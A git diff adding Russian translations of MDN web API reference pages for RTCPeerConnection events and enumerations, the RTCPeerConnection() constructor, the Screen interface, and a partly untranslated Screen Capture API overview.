+ <dd>Событие объекта <code>RTCPeerConnection,</code> возникает, когда статус сборки, представленный классом {{domxref("RTCPeerConnection.iceGatheringState", "iceGatheringState")}}, изменяется. Это указывает на то, что :  согласование соединения ICE еще не началось (статус равен значению "<code>new</code>"); согласование соединения ICE началось (статус равен значеню "<code>gathering</code>"); согласование ICE  соединения завершено (статус равен значению "<code>complete</code>").<br>
+ Так же, доступно через свойство установки обработчика {{domxref("RTCPeerConnection.onicegatheringstatechange", "onicegatheringstatechange")}} .</dd>
+ <dt>{{domxref("RTCPeerConnection.isolationchange_event", "isolationchange")}}</dt>
+ <dd>Событие объекта <code>RTCPeerConnection</code> возникает, когда свойство {{domxref("MediaStreamTrack.isolated", "isolated")}} на одном из объектов  {{domxref("MediaStreamTrack")}} , связанного с соединением изменяет свое значение. Объект трека является изолированным {{domxref("MediaStreamTrack.isolated", "isolated")}}, если его содержимое не может быть доступно содержащему его документу, по причине невозможности аутентификации, или объект трека прибыл не из источника происхождения страницы.<br>
+ Так же, доступно через свойство установки обработчика {{domxref("RTCPeerConnection.onisolationchange", "onisolationchange")}}.</dd>
+ <dt>{{domxref("RTCPeerConnection.negotiationneeded_event", "negotiationneeded")}}</dt>
+ <dd>Событие объекта <code>RTCPeerConnection</code> возникает, когда необходимо запустить согласование (пересогласование) ICE соединения; может произойти при первом открытии соединения , или при необходимости принятия изменений условий сети. Получатель должен ответить, создав предложение и отправив его другому партнеру. <br>
+ Так же, доступно через свойство установки обработчика {{domxref("RTCPeerConnection.onnegotiationneeded", "onnegotiationneeded")}}.</dd>
+ <dt>{{domxref("RTCPeerConnection.signalingstatechange_event", "signalingstatechange")}}</dt>
+ <dd>Событие <code>signalingstatechange</code> возникает, когда статус сигнализации ICE соединения изменился..<br>
+ Так же, доступно через свойство установки обработчика {{domxref("RTCPeerConnection.onsignalingstatechange", "onsignalingstatechange")}}.</dd>
+ <dt>{{domxref("RTCPeerConnection.track_event", "track")}}</dt>
+ <dd>Событие <code>track</code> возникает после того, как новый объект трека был добавлен в один из объектов интерфейса {{domxref("RTCRtpReceiver")}} , которые входят в состав соединения.<br>
+ Так же, доступно через свойство установки обработчика {{domxref("RTCPeerConnection.ontrack", "ontrack")}} .</dd>
+</dl>
+
+<h3 id="Устаревшие_события">Устаревшие события</h3>
+
+<dl>
+ <dt>{{domxref("RTCPeerConnection.addstream_event", "addstream")}} {{obsolete_inline}}</dt>
+ <dd>Возникает, когда новый объект {{domxref("MediaStream")}} был добавлен в соединение. Вместо наблюдения за этим устаревшим событием, разработчику следует наблюдать за каждым событием {{domxref("RTCPeerConnection.track_event", "track")}}, возникающим при добавлении в соединение объекта  {{domxref("MediaStreamTrack")}}..<br>
+ Установка обработчика возможна через свойство {{domxref("RTCPeerConnection.onaddstream", "onaddstream")}} .</dd>
+ <dt>{{domxref("RTCPeerConnection.identityresult_event", "identityresult")}} {{obsolete_inline}}</dt>
+ <dd>В старой версии спецификации WebRTC это событие использовалось для указания доступности подтверждения идентичности. Теперь, следует ждать возвращение промиса от {{domxref("RTCPeerConnection.peerIdentity", "peerIdentity")}} для подтверждения личности. <br>
+ Установка обработчика возможна через свойство {{domxref("RTCPeerConnection.onidentityresult", "onidentityresult")}}.</dd>
+ <dt>{{domxref("RTCPeerConnection.idpassertionerror_event", "idpassertionerror")}} {{obsolete_inline}}</dt>
+ <dd>В старой версии спецификации WebRTC это событие использовалось для определения возникшей ошибки при попытке генерации подтверждения идентичности. Теперь, нужно ожидать результата работы промиса, возвращаемого методом доступа {{domxref("RTCPeerConnection.peerIdentity", "peerIdentity")}} , передающий в метод перехвата ошибок промиса, возникшую ошибку.<br>
+ Установка обработчика возможна через свойство {{domxref("RTCPeerConnection.onidpassertionerror", "onidpinsertionerror")}}..</dd>
+ <dt>{{domxref("RTCPeerConnection.idpvalidationerror_event", "idpvalidationerror")}} {{obsolete_inline}}</dt>
+ <dd>В старой версии спецификации WebRTC это событие использовалось для определения того, что ошибка возникла при попытке подтверждения идентичности. Теперь, следует ожидать результат работы промиса, возвращаемого методом доступа {{domxref("RTCPeerConnection.peerIdentity", "peerIdentity")}}, для перехвата ошибки в соответствующем методе.<br>
+ Установка обработчика возможна через свойство {{domxref("RTCPeerConnection.onpeeridentity", "onpeerdentity")}} .</dd>
+ <dt>{{domxref("RTCPeerConnection.peeridentity_event", "peeridentity")}} {{obsolete_inline}}</dt>
+ <dd>В старой версии спецификации WebRTC это событие использовалось для доставки полученной идентичности. Теперь, нужно ожидать результата работы промиса, возвращаемого методом доступа {{domxref("RTCPeerConnection.peerIdentity", "peerIdentity")}}, для получения идентичности.</dd>
+ <dt>{{domxref("RTCPeerConnection.removestream_event", "removestream")}} {{obsolete_inline}}</dt>
+ <dd>Возникает на объекте <code>RTCPeerConnection, </code>когда объект {{domxref("MediaStream")}} удаляется из соединения. Теперь, необходимо наблюдать за событиями {{domxref("MediaStream.removetrack_event", "removetrack")}} на каждом потоке, входящем в состав объекта соединения <code>RTCPeerConnection</code>.<br>
+ Установка обработчика возможна через свойство {{domxref("RTCPeerConnection.onremovestream", "onaddstream")}} .</dd>
+</dl>
+
+<h2 id="Константы">Константы</h2>
+
+<h3 id="Перечисление_RTCBundlePolicy">Перечисление RTCBundlePolicy </h3>
+
+<p>Перечисление <code>RTCBundlePolicy</code> (политика сборки пакетов) определяет строковые константы, которые используются для запроса определенной политики при сборке  ICE кандидатов, в случае, если удаленный участник соединения (удаленная точка) не совместим со стандартом <a href="https://webrtcstandards.info/sdp-bundle/">SDP BUNDLE standard</a>  для объединения нескольких медиапотоков в один транспортный пакет.</p>
+
+<div class="note">
+<p><strong> Примечание :</strong> В технических терминах BUNDLE (пакет) позволяет всем медиапотокам между двумя пирами проходить через один 5 - ти элементный кортеж (тип транспортного протокола передачи сообщений при установки  TCP, UDP, и ICMP соединений, состоящий из пяти элементов анализа данных). То есть, с одного IP-адреса и порта на одном узле на один IP-адрес и порт на другом узле с использованием одного и того же транспортного протокола.</p>
+</div>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Константа</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"balanced"</code></td>
+   <td>
+    <p>Сбалансированный. Агент ICE изначально создает по одному объекту  {{domxref ("RTCDtlsTransport")}} для каждого типа добавляемого контента: аудио, видео и каналов данных. Если  удаленная конечная точка не опознает пакеты, то каждый из этих DTLS транспортов обрабатывает все коммуникации для одного типа данных.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>"max-compat"</code></td>
+   <td>Максимально совместимый. Агент ICE изначально создает один объект {{domxref ("RTCDtlsTransport")}} для каждой медиа-дорожки и отдельный для каналов данных. Если удаленная точка не поддерживает опознавание пакета, все согласовывается на этих отдельных DTLS транспортах</td>
+  </tr>
+  <tr>
+   <td><code>"max-bundle"</code></td>
+   <td>Максимальный пакет. Агент ICE изначально создает только один объект {{domxref ("RTCDtlsTransport")}} для переноса всех данных RTCPeerConnection. Если удаленная  точка не поддерживает опознавание пакета, то согласовывается только одна дорожка, а остальные игнорируются.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Перечисление_RTCIceConnectionState">Перечисление RTCIceConnectionState</h3>
+
+<p>Перечисление <code>RTCIceConnectionState</code> определяет строковые константы, использующиеся для описания текущего состояния  ICE агента и его соединения с ICE сервером  {{Glossary("STUN")}} или {{Glossary("TURN")}} .</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Константа</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"new"</code></td>
+   <td>ICE агент собирает адреса или ожидает получения удаленных кандидатов от вызова метода {{domxref("RTCPeerConnection.addIceCandidate()")}}. Или все сразу.</td>
+  </tr>
+  <tr>
+   <td><code>"checking"</code></td>
+   <td>ICE агент получил один или несколько удаленных кандидатов и проверяет парность локального и удаленного кандидатов относительно друг друга, пытаясь обнаружить совместимости. Но еще не обнаружил пару, соответствующую устанавливаемому удаленному соединению.Не исключено, что сборка кандидатов продолжиться.</td>
+  </tr>
+  <tr>
+   <td><code>"connected"</code></td>
+   <td>Совместимая парность локального и удаленного кандидатов найдена для всех компонентов соединения, и соединение было установлено. Не исключено продолжение сборки и проверки кандидатов в процессе соединения, для наилучший совместимости.</td>
+  </tr>
+  <tr>
+   <td><code>"completed"</code></td>
+   <td>Агент ICE завершил сбор кандидатов, проверил все пары относительно друг друга, и установил все соединения для всех компонентов.</td>
+  </tr>
+  <tr>
+   <td><code>"failed"</code></td>
+   <td>Агент ICE проверил все пары кандидатов между собой и не нашел совместимых сопоставлений для всех компонентов соединения. Или не нашел совместимых соединений для некоторых компонентов. </td>
+  </tr>
+  <tr>
+   <td><code>"disconnected"</code></td>
+   <td>Проверяет, что компоненты все еще подключены, хотябы для одного объекта {{domxref("RTCPeerConnection")}}.  Это менее строгий тест, чем <code>"failed"</code>, и он может периодически запускаться и разрешаться спонтанно в менее надежных сетях, или во время временного отключения. Когда проблема исчезнет, ​​соединение может вернуться в состояние <code>"connected".</code> </td>
+  </tr>
+  <tr>
+   <td><code>"closed"</code></td>
+   <td>ICE агент закрыл соединение для объекта {{domxref("RTCPeerConnection")}} и больше не обрабатывает запросы.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Перечисление_RTCIceGatheringState">Перечисление RTCIceGatheringState</h3>
+
+<p>Перечисление <code>RTCIceGatheringState</code> определяет строковые константы, которые описывают текущий статус ICE сборки, возвращаемый свойством  {{domxref("RTCPeerConnection.iceGatheringState")}}. Для определения изменнения этого свойства можно подписаться на событие  {{event("icegatheringstatechange")}}.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Константы</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"new"</code></td>
+   <td>Соединение только что создано, и еще не имело сетевой активности.</td>
+  </tr>
+  <tr>
+   <td><code>"gathering"</code></td>
+   <td>Агент ICE находиться в процессе сборки кандидатов соединения.</td>
+  </tr>
+  <tr>
+   <td><code>"complete"</code></td>
+   <td>Агент ICE завершил сборку кандидатов. Если произойдет, что-то (например, добавление нового ICE сервера), для чего потребуется новая сборка кандидатов, статус переключиться в значение  "<code>gathering</code>" и начнется пересборка кандидатов.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Перечисление_RTCIceTransportPolicy">Перечисление RTCIceTransportPolicy</h3>
+
+<p>Перечисление <code>RTCIceTransportPolicy</code> определяет строковые константы, использующиеся для ограничения политик передачи ICE кандидатов, учитывающихся во время процесса соединения..</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Константа</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"all"</code></td>
+   <td>Все  ICE кандидаты будут рассмотрены.</td>
+  </tr>
+  <tr>
+   <td><code>"public" </code>{{obsolete_inline}}</td>
+   <td>Будут рассматриваться  ICE кандидаты, только имеющие публичные IP адреса. <em>Удален в спецификации от 13 мая 2016 (working draft).</em></td>
+  </tr>
+  <tr>
+   <td><code>"relay"</code></td>
+   <td>Будут рассматриваться ICE кандидаты, только с переданными IP адресами через TURN сервер.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Перечисление_RTCPeerConnectionState">Перечисление RTCPeerConnectionState</h3>
+
+<p>Перечисление  <code>RTCPeerConnectionState</code> определяет строковые константы, описывающие статус <code>RTCPeerConnection</code>. Эти значения возвращаются свойством  (методом доступа) {{domxref("RTCPeerConnection.connectionState", "connectionState")}} . Этот статус представляет собирательный статус всех ICE передач (которые имеют тип {{domxref("RTCIceTransport")}} или {{domxref("RTCDtlsTransport")}}) , использующиеся соединением.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Константа</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"new"</code></td>
+   <td>Новый. По меньшей мере один из объектов ICE передачи ({{domxref("RTCIceTransport")}} или  {{domxref("RTCDtlsTransport")}} ) в соединении находиться в статусе <code>"new"</code> и ни один из них не находиться в одном из перечисленных статусов : <code>"connecting"</code>, <code>"checking"</code>, <code>"failed"</code>, или <code>"disconnected"</code>, или все объекты передач соединения находятся в статусе  <code>"closed"</code>.</td>
+  </tr>
+  <tr>
+   <td><code>"connecting"</code></td>
+   <td>В процессе соединения. Один или несколько объектов ICE передачи находятся в процессе установки соединения. Т.е. их свойство <code>RTCIceConnectionState</code> либо имеет значение <code>"checking"</code> , либо  <code>"connected"</code>,  и ни один из объектов передачи не находиться в статусе <code>"failed"</code> . <strong>&lt;&lt;&lt; Make this a link once I know where that will be documented</strong></td>
+  </tr>
+  <tr>
+   <td><code>"connected"</code></td>
+   <td>Соединен. Каждый объект ICE передачи, использующийся соединением либо используется  (имеет статус <code>"connected"</code> или <code>"completed"</code>) , либо закрыт  (имеет статус <code>"closed"</code>); кроме того, по крайней мере один объект передачи имеет статус либо  <code>"connected"</code> , либо <code>"completed"</code>.</td>
+  </tr>
+  <tr>
+   <td><code>"disconnected"</code></td>
+   <td>Разъединен. По меньшей мере один из объектов ICE передачи в соединении имеет статус <code>"disconnected"</code>  и ни один из объекто передачи не находиться в статусе : <code>"failed"</code>, <code>"connecting"</code>, или  <code>"checking"</code>.</td>
+  </tr>
+  <tr>
+   <td><code>"failed"</code></td>
+   <td>Неудачно. Один или несколько объектов передачи могут находиться в статусе <code>"failed"</code>.</td>
+  </tr>
+  <tr>
+   <td><code>"closed"</code></td>
+   <td>
+    <p>Закрыто. Соединение <code>RTCPeerConnection</code> закрыто.</p>
+
+    <p>Ранее входило в значения перечисления <a href="#RTCSignalingState_enum"><code>RTCSignalingState</code></a> (и поэтому может быть найдено в свойстве {{domxref("RTCPeerConnection.signalingState", "signalingState")}}) до 13 мая, 2016.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Перечисление_RTCRtcpMuxPolicy">Перечисление RTCRtcpMuxPolicy</h3>
+
+<p>Перечисление <code>RTCRtcpMuxPolicy</code> содержит строковые константы, определяющие , что собираемые кандидаты должны иметь поддержку немультиплексированного RTCP . <strong>&lt;&lt;&lt;add a link to info about multiplexed RTCP.</strong></p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Константа</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"negotiate"</code></td>
+   <td>Instructs the ICE agent to gather both {{Glossary("RTP")}} and {{Glossary("RTCP")}} candidates. If the remote peer can multiplex RTCP, then RTCP candidates are multiplexed atop the corresponding RTP candidates. Otherwise, both the RTP and RTCP candidates are returned, separately.</td>
+  </tr>
+  <tr>
+   <td><code>"require"</code></td>
+   <td>Tells the ICE agent to gather ICE candidates for only RTP, and to multiplex RTCP atop them. If the remote peer doesn't support RTCP multiplexing, then session negotiation fails.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Перечисление_RTCSignalingState">Перечисление RTCSignalingState</h3>
+
+<p>Перечисление <code>RTCSignalingState</code> определяет возможные значения состояния сигнализирования  {{domxref("RTCPeerConnection.signalingState")}}, указывая в каком месте процесса сигнализации в настоящее время находиться обмен предложением или ответом.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Константа</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"stable"</code></td>
+   <td>
+    <p>Стабильно. Текущего процесса обмена предложения/ответ не происходит. Это может означать, что объект соединения {{domxref("RTCPeerConnection")}} новый, и в этом случае объекты описания  {{domxref("RTCPeerConnection.localDescription", "localDescription")}} и {{domxref("RTCPeerConnection.remoteDescription", "remoteDescription")}} имеют значения <code>null</code>; Так же, может означать, что согласование завершено и соединение успешно установлено.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>"have-local-offer"</code></td>
+   <td>Имеет локальное предложение. Локальный пир вызвал метод {{domxref("RTCPeerConnection.setLocalDescription()")}}, передав в него объект описания SDP , представляющий предложение  (обычно, созданного вызовом метода {{domxref("RTCPeerConnection.createOffer()")}}), и это предложение было успешно применено.</td>
+  </tr>
+  <tr>
+   <td><code>"have-remote-offer"</code></td>
+   <td>Имеет удаленное предложение. Удаленный пир создал предложение, использовал сервер сигнализации для передачи этого предложения локальному пользователю, которое было установлено им в параметр, через вызов метода {{domxref("RTCPeerConnection.setRemoteDescription()")}}.</td>
+  </tr>
+  <tr>
+   <td><code>"have-local-pranswer"</code></td>
+   <td>Имеет локальный предварительный ответ. Предложение удаленного пира было применено, и ответ был создан (обычно, через вызов метода {{domxref("RTCPeerConnection.createAnswer()")}}) и использовано в параметре метода установки локального дескриптора {{domxref("RTCPeerConnection.setLocalDescription()")}}. Этот предварительный ответ описывает поддерживаемые медиа форматы и тому подобное. Но он не имееет включенных в него  полного набора ICE кандидатов. Позже, дополнительные кандидаты будут доставлены отдельно.</td>
+  </tr>
+  <tr>
+   <td><code>"have-remote-pranswer"</code></td>
+   <td>Имеет предварительный удаленный ответ. Предварительный удаленный ответ был получен и успешно применен в ответ на предложение, отправленное ранее и установленное методом <code>setLocalDescription()</code>.</td>
+  </tr>
+  <tr>
+   <td><code>"closed"</code> {{obsolete_inline}}</td>
+   <td>
+    <p>Закрыто. Соединение закрыто.</p>
+
+    <div class="note">
+    <p><strong>Примечание :</strong> Это значение перенесено в перечисление <a href="#RTCPeerConnectionState_enum"><code>RTCPeerConnectionState</code></a>  в драфте от 13 мая 2016, поскольку оно отражает статус соединения   <code>RTCPeerConnection</code>,  а не статус сигнализации. Теперь, для проверки закрытия соединения нужно проверять статус {{domxref("RTCPeerConnection.connectionState", "connectionState")}} на значение <code>"closed"</code> .</p>
+    </div>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Спецификации">Спецификации </h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebRTC 1.0', '#interface-definition', 'RTCPeerConnection')}}</td>
+   <td>{{Spec2('WebRTC 1.0')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection")}}</p>
+
+<h2 id="Смотри_так_же">Смотри так же</h2>
+
+<ul>
+ <li><a href="https://github.com/jesup/nightly-gupshup/blob/master/static/js/chat.js">https://github.com/jesup/nightly-gupshup/blob/master/static/js/chat.js</a></li>
+ <li><a href="http://www.html5rocks.com/en/tutorials/webrtc/basics/#toc-simple">http://www.html5rocks.com/en/tutorials/webrtc/basics/#toc-simple</a></li>
+ <li><a href="https://github.com/chrisjohndigital/TutorRoom">TutorRoom</a>: Node.js HTML5 video capture, peer-to-peer video and filesharing application (<a href="https://github.com/chrisjohndigital/TutorRoom">source on GitHub</a>)</li>
+</ul>
diff --git a/files/ru/web/api/rtcpeerconnection/rtcpeerconnection/index.html b/files/ru/web/api/rtcpeerconnection/rtcpeerconnection/index.html
new file mode 100644
index 0000000000..9bf73d45a5
--- /dev/null
+++ b/files/ru/web/api/rtcpeerconnection/rtcpeerconnection/index.html
@@ -0,0 +1,59 @@
+---
+title: RTCPeerConnection()
+slug: Web/API/RTCPeerConnection/RTCPeerConnection
+translation_of: Web/API/RTCPeerConnection/RTCPeerConnection
+---
+<div>{{APIRef("WebRTC")}}</div>
+
+<p><span class="seoSummary">Конструктор <strong><code>RTCPeerConnection()</code></strong> возвращает  новый экземпляр объекта {{domxref("RTCPeerConnection")}}, который представляет соединение между локальным устройством и удаленным пиром (участником соединения)</span></p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">pc = new RTCPeerConnection([<em>configuration</em>]);</pre>
+
+<h3 class="syntaxbox" id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>configuration</code> {{optional_inline}}</dt>
+ <dd>Объект класса <a href="#RTCConfiguration_dictionary"><code>RTCConfiguration</code> </a>, предоставляющий свойства для конфигурации нового экземпляра соединения.</dd>
+</dl>
+
+<h3 id="Объект_конфигурации_RTCConfiguration">Объект конфигурации RTCConfiguration</h3>
+
+<p>{{page("/en-US/docs/Web/API/RTCConfiguration", "Properties")}}</p>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Экземпляр класса {{domxref("RTCPeerConnection")}} , сконфигурированный по свойствам параметра <code>configuration</code>, если используется, иначе сконфигурированный по умолчанию.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификации</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebRTC 1.0', '#dom-peerconnection', 'RTCPeerConnection()')}}</td>
+   <td>{{Spec2('WebRTC 1.0')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.RTCPeerConnection")}}</p>
+
+<h2 id="Смотри_так_же">Смотри так же</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling">Сигнализирование и видеовызов</a></li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Architecture">Обзор архитектуры WebRTC</a></li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Session_lifetime">Жизненный цикл сессии WebRTC</a></li>
+ <li>{{domxref("RTCPeerConnection")}}</li>
+</ul>
diff --git a/files/ru/web/api/screen/index.html b/files/ru/web/api/screen/index.html
new file mode 100644
index 0000000000..37e962fcf7
--- /dev/null
+++ b/files/ru/web/api/screen/index.html
@@ -0,0 +1,91 @@
+---
+title: Screen
+slug: Web/API/Screen
+translation_of: Web/API/Screen
+---
+<div>{{APIRef("CSSOM View")}}</div>
+
+<p>Интерфейс screen представляет экран, как правило, тот, на котором текущее окно визуализируется.</p>
+
+<p>Обычно, это тот, на котором текущее окно визуализируется, может быть получен с использованием window.screen.</p>
+
+<h2 id="Example" name="Example">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("Screen.availTop")}}</dt>
+ <dd>Возвращает координату по оси y первого пикселя по оси y, но не относящегося к пользовательским элементам интерфейса.</dd>
+ <dt>{{domxref("Screen.availLeft")}}</dt>
+ <dd>Возвращает первый доступный пиксель от левой стороны экрана.</dd>
+ <dt>{{domxref("Screen.availHeight")}}</dt>
+ <dd>
+ <p>Возвращает высоту экрана в пикселях минус высота пользовательских элементов интерфейса, таких как панель задач в Windows.</p>
+ </dd>
+ <dt>{{domxref("Screen.availWidth")}}</dt>
+ <dd>Возвращает ширину экрана в пикселях.</dd>
+ <dt>{{domxref("Screen.colorDepth")}}</dt>
+ <dd>Возвращает глубину цвета экрана.</dd>
+ <dt>{{domxref("Screen.height")}}</dt>
+ <dd>Возвращает высоту экрана в пикселях.</dd>
+ <dt>{{domxref("Screen.left")}}</dt>
+ <dd>Возвращает расстояние в пикселях от левой стороны основного экрана до левой стороны текущего экрана.</dd>
+ <dt>{{domxref("Screen.orientation")}}</dt>
+ <dd>Возвращает текущую ориентацию экрана.</dd>
+ <dt>{{domxref("Screen.pixelDepth")}}</dt>
+ <dd>Возвращает количество битов на пиксель экрана.</dd>
+ <dt>{{domxref("Screen.top")}}</dt>
+ <dd>Возвращает расстояние в пикселях от верхней стороны экрана до текущего экрана.</dd>
+ <dt>{{domxref("Screen.width")}}</dt>
+ <dd>Возвращает ширину экрана в пикселях.</dd>
+ <dt>{{domxref("Screen.mozEnabled")}} {{gecko_minversion_inline("12.0")}}</dt>
+ <dd>Булево. Установка на false выключит экран устройства.</dd>
+ <dt>{{domxref("Screen.mozBrightness")}} {{gecko_minversion_inline("12.0")}}</dt>
+ <dd>Управляет яркостью экрана устройства. Ожидается значение между 0 и 1.0.</dd>
+</dl>
+
+<h3 id="Обработчик_событий">Обработчик событий</h3>
+
+<dl>
+ <dt>{{domxref("Screen.onorientationchange")}}</dt>
+ <dd>Обработчик для событий {{event("смены ориентации")}}.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("Screen.lockOrientation")}}</dt>
+ <dd>Блокировка ориентации экрана (работает только в полноэкранном режиме или для установленных приложений)</dd>
+ <dt>{{domxref("Screen.unlockOrientation")}}</dt>
+ <dd>Разблокировка ориентации экрана (работает только в полноэкранном режиме или для установленных приложений)</dd>
+</dl>
+
+<p>Методы наследованные из {{domxref("EventTarget")}}</p>
+
+<p>{{page("/en-US/docs/Web/API/EventTarget","Методы")}}</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">if (screen.pixelDepth &lt; 8) {
+  // использовать низкоцветовую версию страницы
+} else {
+  // использовать обычную, полноцветную страницу
+}
+</pre>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSSOM View', '#the-screen-interface', 'Screen') }}</td>
+   <td>{{ Spec2('CSSOM View') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/api/screen_capture_api/index.html b/files/ru/web/api/screen_capture_api/index.html
new file mode 100644
index 0000000000..13c45cf8fa
--- /dev/null
+++ b/files/ru/web/api/screen_capture_api/index.html
@@ -0,0 +1,140 @@
+---
+title: Screen Capture API
+slug: Web/API/Screen_Capture_API
+tags:
+  - API
+  - Capture
+  - Conference
+  - Media
+  - MediaDevices
+  - MediaStream
+  - NeedsTranslation
+  - Overview
+  - Screen Capture
+  - Screen Capture API
+  - Screen Sharing
+  - Sharing
+  - TopicStub
+  - Video
+  - Window
+  - display
+  - getDisplayMedia
+  - screen
+translation_of: Web/API/Screen_Capture_API
+---
+<div>{{DefaultAPISidebar("Screen Capture API")}}</div>
+
+<p><span class="seoSummary">The Screen Capture API introduces additions to the existing Media Capture and Streams API to let the user select a screen or portion of a screen (such as a window) to capture as a media stream.</span> This stream can then be recorded or shared with others over the network.</p>
+
+<h2 id="Screen_Capture_API_concepts_and_usage">Screen Capture API concepts and usage</h2>
+
+<p>The Screen Capture API is relatively simple to use. Its sole method is {{domxref("MediaDevices.getDisplayMedia()")}}, whose job is to ask the user to select a screen or portion of a screen to capture in the form of a {{domxref("MediaStream")}}.</p>
+
+<p>To start capturing video from the screen, you call <code>getDisplayMedia()</code> on the instance of <code>Media</code> <code>navigator.mediaDevices</code>:</p>
+
+<pre class="brush: js">captureStream = await navigator.mediaDevices.getDisplayMedia(displayMediaOptions);</pre>
+
+<p>The {{jsxref("Promise")}} returned by <code>getDisplayMedia()</code> resolves to a {{domxref("MediaStream")}} which streams the captured media.</p>
+
+<p>See the article <a href="/en-US/docs/Web/API/Screen_Capture_API/Using_Screen_Capture">Using the Screen Capture API</a> for a more in-depth look at how to use the API to capture screen contents as a stream.</p>
+
+<h2 id="Additions_to_existing_interfaces">Additions to existing interfaces</h2>
+
+<p>The Screen Capture API doesn't have any interfaces of its own; instead, it adds one method to the existing {{domxref("MediaDevices")}} interface.</p>
+
+<h3 id="MediaDevices_interface">MediaDevices interface</h3>
+
+<dl>
+ <dt>{{domxref("MediaDevices.getDisplayMedia()")}}</dt>
+ <dd>The <code>getDisplayMedia()</code> method is added to the <code>MediaDevices</code> interface. Similar to {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}}, this method creates a promise that resolves with a {{domxref("MediaStream")}} containing the display area selected by the user, in a format that matches the specified options.</dd>
+</dl>
+
+<h2 id="Additions_to_existing_dictionaries">Additions to existing dictionaries</h2>
+
+<p>The Screen Capture API adds properties to the following dictionaries defined by other specifications.</p>
+
+<h3 id="MediaTrackConstraints">MediaTrackConstraints</h3>
+
+<dl>
+ <dt>{{domxref("MediaTrackConstraints.cursor")}}</dt>
+ <dd>A {{domxref("ConstrainDOMString")}} indicating whether or not the cursor should be included in the captured display surface's stream, and if it should always be visible or if it should only be visible while the mouse is in motion.</dd>
+ <dt>{{domxref("MediaTrackConstraints.displaySurface")}}</dt>
+ <dd>A {{domxref("ConstrainDOMString")}} indicating what type of display surface is to be captured. The value is one of <code>application</code>, <code>browser</code>, <code>monitor</code>, or <code>window</code>.</dd>
+ <dt>{{domxref("MediaTrackConstraints.logicalSurface")}}</dt>
+ <dd>Indicates whether or not the video in the stream represents a logical display surface (that is, one which may not be entirely visible onscreen, or may be completely offscreen). A value of <code>true</code> indicates a logical display surface is to be captured.</dd>
+</dl>
+
+<h3 id="MediaTrackSettings">MediaTrackSettings</h3>
+
+<dl>
+ <dt>{{domxref("MediaTrackSettings.cursor")}}</dt>
+ <dd>A string which indicates whether or not the display surface currently being captured includes the mouse cursor, and if so, whether it's only visible while the mouse is in motion or if it's always visible. The value is one of <code>always</code>, <code>motion</code>, or <code>never</code>.</dd>
+ <dt>{{domxref("MediaTrackSettings.displaySurface")}}</dt>
+ <dd>A string indicating what type of display surface is currently being captured. The value is one of <code>application</code>, <code>browser</code>, <code>monitor</code>, or <code>window</code>.</dd>
+ <dt>{{domxref("MediaTrackSettings.logicalSurface")}}</dt>
+ <dd>A Boolean value which is <code>true</code> if the video being captured doesn't directly correspond to a single onscreen display area.</dd>
+</dl>
+
